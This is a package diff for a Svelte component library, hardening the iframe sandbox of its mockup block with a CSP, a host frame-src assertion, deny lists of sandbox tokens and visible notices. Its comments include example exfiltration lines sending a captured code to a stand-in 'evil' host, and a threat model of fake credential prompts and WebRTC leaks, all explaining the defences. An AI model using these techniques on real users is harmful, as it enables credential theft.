@joewinke/jatui 0.38.0 → 0.38.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -181,7 +181,27 @@ nothing looks live and silently drops input.
181
181
  | `crumb` | header crumb snippet | empty crumb row |
182
182
  | `nextActions` | `Snippet<[{ compact, autofocus, nextKey }]>` in the done states (MOS: `DeskNextActions`) | nothing |
183
183
  | `titleMenu` | `{ header?, items: ContextMenuItem[] }` on the title's right-click | no menu |
184
- | `services` | block services: `loadGoogleMaps`, `explorer3d`, `sandboxAttr`, `teamLookup`, … (`ctx.services`) | each block's own quiet fallback |
184
+ | `services` | block services: `loadGoogleMaps`, `explorer3d`, `sandboxAttr`, `framePolicy`, `teamLookup`, … (`ctx.services`) | each block's own quiet fallback |
185
+
186
+ `services.sandboxAttr` (mockup) can NARROW a scripted frame but never widen it:
187
+ a scripted mockup is `sandbox="allow-scripts"` only, with a no-beacon CSP in its
188
+ document and a parent-drawn "runs scripts" notice (jat-4yffn).
189
+
190
+ **Scripted mockups need `services.framePolicy = { frameSrcSelfEnforced: true }`
191
+ (jatui-2qhbr).** A sandboxed frame can always navigate ITSELF
192
+ (`location = 'https://evil/?c=CODE'`, `<meta refresh>`), and only the host
193
+ page's CSP stops that. Assert the flag only when every page that renders
194
+ artifact blocks is served with an **enforced** `frame-src 'self'` (or
195
+ narrower). Two look-alikes do NOT qualify, and both leak:
196
+
197
+ - `frame-src 'self' https:` — any https URL is an allowed frame target;
198
+ - `Content-Security-Policy-Report-Only` — it reports, it never blocks.
199
+
200
+ Without the assertion a mockup with `allowScripts: true` renders **script-free**
201
+ under a "Scripts disabled: this host page does not restrict frame navigation"
202
+ notice. WebRTC is a known gap no CSP closes. Script-free mockups still load
203
+ remote images and open popups — a view beacon, by design; they cannot capture
204
+ input. See `blocks/mockup/sandbox.ts`.
185
205
 
186
206
  View props that are not adapter keys stay props: `onSaveBlock` + `savedBlocks`
187
207
  (per-block state plumbing; omit → blocks get no `saveState`), `comments`
@@ -8,7 +8,14 @@
8
8
  * which NEVER includes allow-same-origin (see that module for the threat
9
9
  * model: opaque origin, no session, no cookies, no parent DOM). Scripts run
10
10
  * only when the author passed allowScripts, and even then inside the opaque
11
- * origin. referrerpolicy="no-referrer" mirrors ArtifactShell.
11
+ * origin, with `sandbox="allow-scripts"` only and a no-beacon CSP in the
12
+ * document (jat-4yffn) — plus a "runs scripts" notice drawn HERE, in the
13
+ * parent, where the script cannot reach or restyle it. Scripts also need
14
+ * the HOST's word that its page enforces `frame-src 'self'`
15
+ * (`services.framePolicy.frameSrcSelfEnforced`, jatui-2qhbr): without it a
16
+ * script could navigate its own frame to an attacker URL, so the mockup
17
+ * renders script-free under a "scripts disabled" notice instead.
18
+ * referrerpolicy="no-referrer" mirrors ArtifactShell.
12
19
  *
13
20
  * The frame is a scaled viewport: the iframe is laid out at the DEVICE's
14
21
  * pixel width and transform-scaled to the column, so a "desktop" mockup is
@@ -19,7 +26,7 @@
19
26
  * The theme toggle passes data-theme=light|dark into every fragment (see
20
27
  * ./doc.ts) — the snippet's own CSS decides what the attribute means.
21
28
  */
22
- import { mockupSandboxAttr } from "./sandbox.js"
29
+ import { mockupSandboxAttr, mockupScriptsAllowed } from "./sandbox.js"
23
30
  import type { BlockProps } from "../../types.js"
24
31
  import { mockupDocument } from "./doc.js"
25
32
  import {
@@ -36,8 +43,14 @@
36
43
  /** Measured on-screen width of each frame's viewport, by variant id. */
37
44
  let frameWidths = $state<Record<string, number>>({})
38
45
 
46
+ const requested = $derived(params.allowScripts === true)
47
+ const scripted = $derived(
48
+ mockupScriptsAllowed(requested, ctx?.services?.framePolicy),
49
+ )
50
+ /** Asked for scripts, but the host has not asserted frame-src 'self'. */
51
+ const scriptsBlocked = $derived(requested && !scripted)
39
52
  const sandbox = $derived(
40
- mockupSandboxAttr(params.allowScripts === true, ctx?.services?.sandboxAttr),
53
+ mockupSandboxAttr(scripted, ctx?.services?.sandboxAttr),
41
54
  )
42
55
 
43
56
  /**
@@ -120,6 +133,27 @@
120
133
  <SectionTools {ctx} inline />
121
134
  </header>
122
135
 
136
+ {#if scripted}
137
+ <!-- Parent-drawn label (jat-4yffn): the frame's script cannot touch it. -->
138
+ <p
139
+ class="border-warning/40 bg-warning/10 text-base-content/80 rounded-field mx-4 mt-2 border px-3 py-2 text-xs sm:mx-5"
140
+ data-mockup-scripted
141
+ >
142
+ <strong class="font-semibold">This mockup runs scripts.</strong>
143
+ It is a sketch, not a real form — never type a password or a code into it.
144
+ </p>
145
+ {:else if scriptsBlocked}
146
+ <!-- jatui-2qhbr: degraded to script-free; say so, never fail silently. -->
147
+ <p
148
+ class="border-base-content/15 bg-base-200 text-base-content/70 rounded-field mx-4 mt-2 border px-3 py-2 text-xs sm:mx-5"
149
+ data-mockup-scripts-disabled
150
+ >
151
+ <strong class="font-semibold">Scripts disabled:</strong>
152
+ this host page does not restrict frame navigation, so the mockup is shown
153
+ without its interactive parts.
154
+ </p>
155
+ {/if}
156
+
123
157
  <div class="flex flex-wrap items-start gap-5 px-4 pt-2 pb-5 sm:px-5">
124
158
  {#each params.variants as v (v.id)}
125
159
  {@const dev = deviceOf(v.device)}
@@ -155,7 +189,7 @@
155
189
  </div>
156
190
  <iframe
157
191
  data-mock-id={v.id}
158
- srcdoc={mockupDocument(v.html, theme)}
192
+ srcdoc={mockupDocument(v.html, theme, scripted)}
159
193
  {sandbox}
160
194
  title="{v.label ?? v.id} — desktop preview"
161
195
  referrerpolicy="no-referrer"
@@ -188,7 +222,7 @@
188
222
  ></span>
189
223
  <iframe
190
224
  data-mock-id={v.id}
191
- srcdoc={mockupDocument(v.html, theme)}
225
+ srcdoc={mockupDocument(v.html, theme, scripted)}
192
226
  {sandbox}
193
227
  title="{v.label ?? v.id} — {dev} preview"
194
228
  referrerpolicy="no-referrer"
@@ -4,13 +4,14 @@
4
4
  *
5
5
  * Params are DATA: one or more variants, each an HTML snippet rendered
6
6
  * verbatim inside a sandboxed iframe shaped like a phone, tablet, or desktop
7
- * frame. The iframe's sandbox attribute comes from
8
- * `artifactSandboxAttr()` in src/lib/modules/artifacts/sandbox.ts — the same
9
- * token list the html artifact viewer's CSP header serves — and
10
- * allow-same-origin is NEVER emitted: the frame is an opaque origin with no
11
- * session, no cookies, no parent DOM (see that module for the threat model).
12
- * Scripts stay off unless `allowScripts` is true, and even then they run in
13
- * the opaque origin only.
7
+ * frame. The iframe's sandbox attribute comes from `mockupSandboxAttr()` in
8
+ * ./sandbox.ts and allow-same-origin is NEVER emitted: the frame is an
9
+ * opaque origin with no session, no cookies, no parent DOM (see that module
10
+ * for the threat model). Scripts stay off unless `allowScripts` is true, and
11
+ * then the frame is `allow-scripts` only — no popups, no remote images or
12
+ * media, no network (jat-4yffn) — under a parent-drawn "runs scripts" notice,
13
+ * and only on a host that asserts an enforced `frame-src 'self'`
14
+ * (`services.framePolicy`, jatui-2qhbr); elsewhere it degrades to script-free.
14
15
  *
15
16
  * The light/dark toggle re-wraps fragments with `data-theme` on <html> (see
16
17
  * ./doc.ts); the snippet's own CSS decides what that attribute means.
@@ -41,7 +41,7 @@ const example = {
41
41
  const mockup = {
42
42
  type: "mockup",
43
43
  title: "Mockup (sandboxed HTML in device frames)",
44
- description: "Renders agent-authored HTML snippets inside phone, tablet, or desktop device frames — the way to put a UI concept into an artifact WITHOUT giving that HTML the page's origin: each variant is an iframe whose sandbox attribute comes from the artifact sandbox module (opaque origin, allow-same-origin never emitted, scripts only when allowScripts is true), so the mockup can never touch the session. Pass a FRAGMENT per variant; the block wraps it and drives data-theme=light|dark on <html> so the block-level theme toggle re-skins designs that honor the attribute (a full document passes through unwrapped and owns its own theming). Variants render side by side for A/B comparison. A top-level `device` param is shorthand: it becomes the device of every variant that does not name its own (a variant's own device wins); a variant without any device defaults to phone. Budget: 48KB of HTML per variant, 256KB for the whole block. One-line tip: name variant ids after the option they show (a-phone, b-phone) — reviewers reference them in notes.",
44
+ description: "Renders agent-authored HTML snippets inside phone, tablet, or desktop device frames — the way to put a UI concept into an artifact WITHOUT giving that HTML the page's origin: each variant is an iframe whose sandbox attribute comes from the artifact sandbox module (opaque origin, allow-same-origin never emitted, scripts only when allowScripts is true), so the mockup can never touch the session. allowScripts is for interaction only and is locked down: the frame gets no popups (links that open a new tab do nothing), no network, and images/media/fonts only as data: URIs (Google Fonts excepted), and the page shows a \"runs scripts\" notice above it; scripts also need the host to assert an enforced frame-src 'self', and on a host that does not, the mockup renders script-free under a \"scripts disabled\" notice — leave it off unless the concept needs JS. Pass a FRAGMENT per variant; the block wraps it and drives data-theme=light|dark on <html> so the block-level theme toggle re-skins designs that honor the attribute (a full document passes through unwrapped and owns its own theming). Variants render side by side for A/B comparison. A top-level `device` param is shorthand: it becomes the device of every variant that does not name its own (a variant's own device wins); a variant without any device defaults to phone. Budget: 48KB of HTML per variant, 256KB for the whole block. One-line tip: name variant ids after the option they show (a-phone, b-phone) — reviewers reference them in notes.",
45
45
  schema: mockupSchema,
46
46
  component: MockupBlock,
47
47
  // mos-8fvt9: the section's Listen + comment sit on the heading row.
@@ -1,13 +1,22 @@
1
1
  /**
2
2
  * The sandboxed document a mockup iframe renders (mos-vzame).
3
3
  *
4
- * The iframe gets its sandbox from artifactSandboxAttr() in
5
- * src/lib/modules/artifacts/sandbox.ts — the same token list the html
6
- * artifact viewer serves under its `Content-Security-Policy: sandbox` header.
4
+ * The iframe gets its sandbox from mockupSandboxAttr() in ./sandbox.ts.
7
5
  * allow-same-origin is absent in every mode that helper can emit; the frame
8
6
  * is an opaque origin and can never reach the app session, cookies, or DOM.
9
- * That helper is the single source of truth for the boundary — this file only
10
- * decides WHAT the opaque-origin document contains.
7
+ * That module is the single source of truth for the boundary and its threat
8
+ * model — this file decides WHAT the opaque-origin document contains, and
9
+ * for a SCRIPTED mockup that includes the policy head (jat-4yffn):
10
+ * MOCKUP_SCRIPTED_CSP as a `<meta http-equiv>` plus DNS prefetch off. A
11
+ * srcdoc document has no response headers, so meta is the only carrier. It
12
+ * is the first element in <head> (before <meta charset>, which only has to
13
+ * sit in the first 1024 bytes — the policy head is well under that), so it
14
+ * governs everything the author wrote, and a script removing the element
15
+ * later does not lift an applied policy.
16
+ *
17
+ * Whether a mockup is rendered scripted at all is decided by the caller
18
+ * (mockupScriptsAllowed in ./sandbox.ts, jatui-2qhbr): this function trusts
19
+ * its `scripted` argument and emits the policy head for it.
11
20
  *
12
21
  * The light/dark toggle works by re-wrapping the snippet with `data-theme` on
13
22
  * the <html> element — the author's CSS decides what that attribute means
@@ -19,6 +28,12 @@
19
28
  /**
20
29
  * Wrap a mockup snippet into a full document carrying `data-theme`. A
21
30
  * fragment gets the wrapper (body margin 0 — a mockup is full-bleed); a
22
- * document that already brings `<html>` passes through verbatim.
31
+ * document that already brings `<html>` passes through verbatim — unless it
32
+ * is scripted, when the policy head is PREPENDED rather than spliced in
33
+ * (no regex surgery on untrusted markup). The parser puts those metas in an
34
+ * implied <head>; the author's own doctype/<html>/<head> tags that follow
35
+ * are then parse errors that merge or drop harmlessly (their <html>
36
+ * attributes still apply). The prefix carries a doctype so the document
37
+ * stays in standards mode.
23
38
  */
24
- export declare function mockupDocument(html: string, theme: "light" | "dark"): string;
39
+ export declare function mockupDocument(html: string, theme: "light" | "dark", scripted?: boolean): string;
@@ -1,13 +1,22 @@
1
1
  /**
2
2
  * The sandboxed document a mockup iframe renders (mos-vzame).
3
3
  *
4
- * The iframe gets its sandbox from artifactSandboxAttr() in
5
- * src/lib/modules/artifacts/sandbox.ts — the same token list the html
6
- * artifact viewer serves under its `Content-Security-Policy: sandbox` header.
4
+ * The iframe gets its sandbox from mockupSandboxAttr() in ./sandbox.ts.
7
5
  * allow-same-origin is absent in every mode that helper can emit; the frame
8
6
  * is an opaque origin and can never reach the app session, cookies, or DOM.
9
- * That helper is the single source of truth for the boundary — this file only
10
- * decides WHAT the opaque-origin document contains.
7
+ * That module is the single source of truth for the boundary and its threat
8
+ * model — this file decides WHAT the opaque-origin document contains, and
9
+ * for a SCRIPTED mockup that includes the policy head (jat-4yffn):
10
+ * MOCKUP_SCRIPTED_CSP as a `<meta http-equiv>` plus DNS prefetch off. A
11
+ * srcdoc document has no response headers, so meta is the only carrier. It
12
+ * is the first element in <head> (before <meta charset>, which only has to
13
+ * sit in the first 1024 bytes — the policy head is well under that), so it
14
+ * governs everything the author wrote, and a script removing the element
15
+ * later does not lift an applied policy.
16
+ *
17
+ * Whether a mockup is rendered scripted at all is decided by the caller
18
+ * (mockupScriptsAllowed in ./sandbox.ts, jatui-2qhbr): this function trusts
19
+ * its `scripted` argument and emits the policy head for it.
11
20
  *
12
21
  * The light/dark toggle works by re-wrapping the snippet with `data-theme` on
13
22
  * the <html> element — the author's CSS decides what that attribute means
@@ -16,10 +25,15 @@
16
25
  * rewriting untrusted markup by regex is exactly the fragility this block
17
26
  * refuses; authors who bring their own document own their own theming.
18
27
  */
28
+ import { MOCKUP_SCRIPTED_CSP } from "./sandbox.js";
29
+ /** The scripted document's policy head (jat-4yffn). Attribute-safe: the CSP has no `"`. */
30
+ const SCRIPTED_POLICY = `<meta http-equiv="Content-Security-Policy" content="${MOCKUP_SCRIPTED_CSP}">
31
+ <meta http-equiv="x-dns-prefetch-control" content="off">
32
+ `;
19
33
  const WRAPPER_HEAD = `<!doctype html>
20
34
  <html lang="en" data-theme="THEME">
21
35
  <head>
22
- <meta charset="utf-8">
36
+ POLICY<meta charset="utf-8">
23
37
  <meta name="viewport" content="width=device-width, initial-scale=1">
24
38
  <style>
25
39
  html[data-theme="light"] { color-scheme: light; }
@@ -35,10 +49,17 @@ const WRAPPER_TAIL = `
35
49
  /**
36
50
  * Wrap a mockup snippet into a full document carrying `data-theme`. A
37
51
  * fragment gets the wrapper (body margin 0 — a mockup is full-bleed); a
38
- * document that already brings `<html>` passes through verbatim.
52
+ * document that already brings `<html>` passes through verbatim — unless it
53
+ * is scripted, when the policy head is PREPENDED rather than spliced in
54
+ * (no regex surgery on untrusted markup). The parser puts those metas in an
55
+ * implied <head>; the author's own doctype/<html>/<head> tags that follow
56
+ * are then parse errors that merge or drop harmlessly (their <html>
57
+ * attributes still apply). The prefix carries a doctype so the document
58
+ * stays in standards mode.
39
59
  */
40
- export function mockupDocument(html, theme) {
41
- if (/<html[\s>]/i.test(html))
42
- return html;
43
- return `${WRAPPER_HEAD.replace("THEME", theme)}${html}${WRAPPER_TAIL}`;
60
+ export function mockupDocument(html, theme, scripted = false) {
61
+ if (/<html[\s>]/i.test(html)) {
62
+ return scripted ? `<!doctype html>\n${SCRIPTED_POLICY}${html}` : html;
63
+ }
64
+ return `${WRAPPER_HEAD.replace("THEME", theme).replace("POLICY", scripted ? SCRIPTED_POLICY : "")}${html}${WRAPPER_TAIL}`;
44
65
  }
@@ -1,21 +1,98 @@
1
1
  /**
2
- * The mockup frame's `sandbox` attribute (origin: MOS
3
- * src/lib/modules/artifacts/sandbox.ts artifactSandboxAttr, bad16b324).
2
+ * The mockup frame's `sandbox` attribute and the CSP its scripted document
3
+ * carries (origin: MOS src/lib/modules/artifacts/sandbox.ts
4
+ * artifactSandboxAttr, bad16b324; scripted hardening ported from jat
5
+ * ide/src/lib/server/artifacts/sandboxPolicy.ts, jat-4yffn).
4
6
  *
5
7
  * Each variant is agent-authored HTML in an iframe `srcdoc`. The sandbox puts
6
8
  * it in an OPAQUE origin: no session, no cookies, no parent DOM. That only
7
9
  * holds while `allow-same-origin` is absent — srcdoc with scripts +
8
10
  * same-origin is the one combination that defeats it — so this module never
9
- * emits it, and strips it from a host override too.
11
+ * emits it, and strips it from a host override too. Top navigation is never
12
+ * granted either: a mockup may not replace the page it sits in.
13
+ *
14
+ * ## Script-free mockups (unchanged)
10
15
  *
11
16
  * `allow-popups` + `allow-popups-to-escape-sandbox`: a link in a mockup that
12
- * opens a new tab lands on a normal page, not a sandboxed one. Scripts run
13
- * only when the author passed `allowScripts`.
17
+ * opens a new tab lands on a normal page, not a sandboxed one. A host may
18
+ * widen or narrow that list with `services.sandboxAttr` (a string, or a
19
+ * function of allowScripts); the never-tokens and `allow-scripts` are removed
20
+ * from whatever it returns.
21
+ *
22
+ * ## Scripted mockups (`allowScripts: true`) — jat-4yffn
23
+ *
24
+ * The opaque origin keeps agent JavaScript away from the session, but not
25
+ * away from the HUMAN looking at it: a script can draw a fake "confirm it's
26
+ * you" box, capture a typed code, and get it out. So a scripted frame is
27
+ * `sandbox="allow-scripts"` and nothing else, and its document carries
28
+ * MOCKUP_SCRIPTED_CSP (see ./doc.ts):
29
+ *
30
+ * - no popups at all — `window.open('https://evil/?c=CODE')` leaks the code
31
+ * in the URL whether or not the popup escapes the sandbox. Links that
32
+ * open a new tab therefore do not open; that is the trade.
33
+ * - `img-src data:` / `media-src data:` — an image or media fetch is a
34
+ * beacon `connect-src 'none'` does not cover.
35
+ * - `x-dns-prefetch-control: off` — a prefetched hostname is a DNS beacon
36
+ * outside every fetch directive.
37
+ *
38
+ * A host may NARROW a scripted frame with `services.sandboxAttr` (returning
39
+ * "" turns scripts off) but never widen it: only `allow-scripts` survives.
40
+ * MockupBlock draws a "runs scripts" notice in the parent page, outside the
41
+ * frame, so the label is chrome the script cannot reach.
42
+ *
43
+ * ## What the host must assert, and what nobody can close
44
+ *
45
+ * - Self-navigation (jatui-2qhbr): a sandboxed document may always navigate
46
+ * its OWN frame (`location = 'https://evil/?c=CODE'`, or a meta refresh),
47
+ * and nothing in its CSP can stop that. Only the PARENT's CSP can: an
48
+ * ENFORCED `frame-src 'self'` (or narrower) on the host page — the browser
49
+ * checks it on every navigation of the child frame, while the initial
50
+ * srcdoc load is not subject to it. Two near-misses both leak (verified in
51
+ * Chromium against mos): `frame-src 'self' https:` (any https URL is a
52
+ * valid target) and a Report-Only policy (reports, never blocks). jatui
53
+ * cannot read the parent's response headers, so this is a CHECKED
54
+ * precondition instead of advice: the host asserts it with
55
+ * `services.framePolicy = { frameSrcSelfEnforced: true }`, and a scripted
56
+ * mockup runs scripts ONLY under that assertion (mockupScriptsAllowed).
57
+ * Without it the mockup degrades to script-free and MockupBlock says so.
58
+ * - WebRTC: an RTCPeerConnection to an attacker's STUN/TURN server gets
59
+ * packets out, and no shipped CSP directive governs it. That is why the
60
+ * notice exists and why a real credential prompt belongs to the host page,
61
+ * never inside a frame.
14
62
  *
15
- * A host may widen or narrow the token list with `services.sandboxAttr`
16
- * (a string, or a function of allowScripts); `allow-same-origin` is removed
17
- * from whatever it returns, and `allow-scripts` is removed unless the author
18
- * asked for scripts.
63
+ * - Script-free mockups are NOT beacon-free, by design: they load remote
64
+ * images and may open (sandbox-escaping) popups, so an author can learn
65
+ * that, and roughly when, a mockup was viewed. They cannot capture input
66
+ * (no scripts), so nothing typed into them leaves the frame.
67
+ *
68
+ * jat's raw-route gate (Sec-Fetch-Dest/Site) has no counterpart here: a
69
+ * srcdoc frame has no URL that could be opened full-window without the
70
+ * notice.
19
71
  */
20
72
  export type SandboxAttrService = string | ((allowScripts: boolean) => string);
73
+ /**
74
+ * The host's assertion about its OWN page CSP (`services.framePolicy`,
75
+ * jatui-2qhbr). `frameSrcSelfEnforced: true` claims the page that renders
76
+ * blocks is served with an ENFORCED (not Report-Only) `frame-src 'self'` —
77
+ * or narrower — and no `https:`/`*` source in it. Assert it only when that
78
+ * header is really sent on every route that renders artifact blocks.
79
+ */
80
+ export interface FramePolicyService {
81
+ frameSrcSelfEnforced?: boolean;
82
+ }
83
+ /**
84
+ * Whether a mockup that ASKED for scripts may run them: only when the host
85
+ * asserted an enforced `frame-src 'self'` (strictly `true` — a truthy string
86
+ * or a missing service is no assertion). Otherwise it degrades to
87
+ * script-free, which closes self-navigation (no script, and a sandbox without
88
+ * allow-scripts blocks meta refresh) at the cost of interactivity.
89
+ */
90
+ export declare function mockupScriptsAllowed(requested: boolean, framePolicy?: unknown): boolean;
91
+ /**
92
+ * The CSP a scripted mockup document carries (as a `<meta http-equiv>`,
93
+ * see ./doc.ts). Mirrors jat's scripted artifactCsp minus the directives a
94
+ * meta policy cannot express (sandbox, frame-ancestors) — the iframe's
95
+ * sandbox attribute covers the former.
96
+ */
97
+ export declare const MOCKUP_SCRIPTED_CSP: string;
21
98
  export declare function mockupSandboxAttr(allowScripts: boolean, override?: unknown): string;
@@ -1,4 +1,41 @@
1
- const FORBIDDEN = new Set(["allow-same-origin"]);
1
+ /**
2
+ * Whether a mockup that ASKED for scripts may run them: only when the host
3
+ * asserted an enforced `frame-src 'self'` (strictly `true` — a truthy string
4
+ * or a missing service is no assertion). Otherwise it degrades to
5
+ * script-free, which closes self-navigation (no script, and a sandbox without
6
+ * allow-scripts blocks meta refresh) at the cost of interactivity.
7
+ */
8
+ export function mockupScriptsAllowed(requested, framePolicy) {
9
+ return (requested === true &&
10
+ typeof framePolicy === "object" &&
11
+ framePolicy !== null &&
12
+ framePolicy.frameSrcSelfEnforced === true);
13
+ }
14
+ /** Tokens no mockup frame may ever carry, in either mode. */
15
+ const NEVER = new Set([
16
+ "allow-same-origin",
17
+ "allow-top-navigation",
18
+ "allow-top-navigation-by-user-activation",
19
+ ]);
20
+ /** The only token a scripted frame may carry; a host override is intersected with it. */
21
+ const SCRIPTED_ALLOWED = new Set(["allow-scripts"]);
22
+ /**
23
+ * The CSP a scripted mockup document carries (as a `<meta http-equiv>`,
24
+ * see ./doc.ts). Mirrors jat's scripted artifactCsp minus the directives a
25
+ * meta policy cannot express (sandbox, frame-ancestors) — the iframe's
26
+ * sandbox attribute covers the former.
27
+ */
28
+ export const MOCKUP_SCRIPTED_CSP = [
29
+ "default-src 'none'",
30
+ "script-src 'unsafe-inline' 'unsafe-eval'",
31
+ "style-src 'unsafe-inline' https://fonts.googleapis.com",
32
+ "font-src data: https://fonts.gstatic.com",
33
+ "img-src data:",
34
+ "media-src data:",
35
+ "connect-src 'none'",
36
+ "form-action 'none'",
37
+ "base-uri 'none'",
38
+ ].join("; ");
2
39
  export function mockupSandboxAttr(allowScripts, override) {
3
40
  let raw;
4
41
  if (typeof override === "function") {
@@ -15,13 +52,12 @@ export function mockupSandboxAttr(allowScripts, override) {
15
52
  .split(/\s+/)
16
53
  .map((t) => t.trim().toLowerCase())
17
54
  .filter(Boolean)
18
- .filter((t) => !FORBIDDEN.has(t))
19
- .filter((t) => allowScripts || t !== "allow-scripts");
55
+ .filter((t) => !NEVER.has(t))
56
+ .filter((t) => allowScripts ? SCRIPTED_ALLOWED.has(t) : t !== "allow-scripts");
20
57
  return [...new Set(tokens)].join(" ");
21
58
  }
22
59
  function defaultTokens(allowScripts) {
23
- const tokens = ["allow-popups", "allow-popups-to-escape-sandbox"];
24
- if (allowScripts)
25
- tokens.push("allow-scripts");
26
- return tokens.join(" ");
60
+ return allowScripts
61
+ ? "allow-scripts"
62
+ : "allow-popups allow-popups-to-escape-sandbox";
27
63
  }
@@ -471,6 +471,15 @@ export interface BlockServices {
471
471
  explorer3d?: Component<Record<string, unknown>>;
472
472
  /** Mockup block: the `sandbox` attribute for untrusted HTML frames. */
473
473
  sandboxAttr?: string;
474
+ /**
475
+ * Mockup block (jatui-2qhbr): the host asserts its page is served with an
476
+ * ENFORCED `frame-src 'self'` (not Report-Only, no `https:`). Scripted
477
+ * mockups run scripts only under `{ frameSrcSelfEnforced: true }`;
478
+ * otherwise they render script-free with a notice.
479
+ */
480
+ framePolicy?: {
481
+ frameSrcSelfEnforced?: boolean;
482
+ };
474
483
  /** Team lookup for review chips (ids → display names). */
475
484
  teamLookup?: (ids: string[]) => Promise<Record<string, string>>;
476
485
  [key: string]: unknown;
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@joewinke/jatui",
3
- "version": "0.38.0",
3
+ "version": "0.38.1",
4
4
  "private": false,
5
5
  "description": "Shared Svelte 5 component library for JAT projects",
6
6
  "type": "module",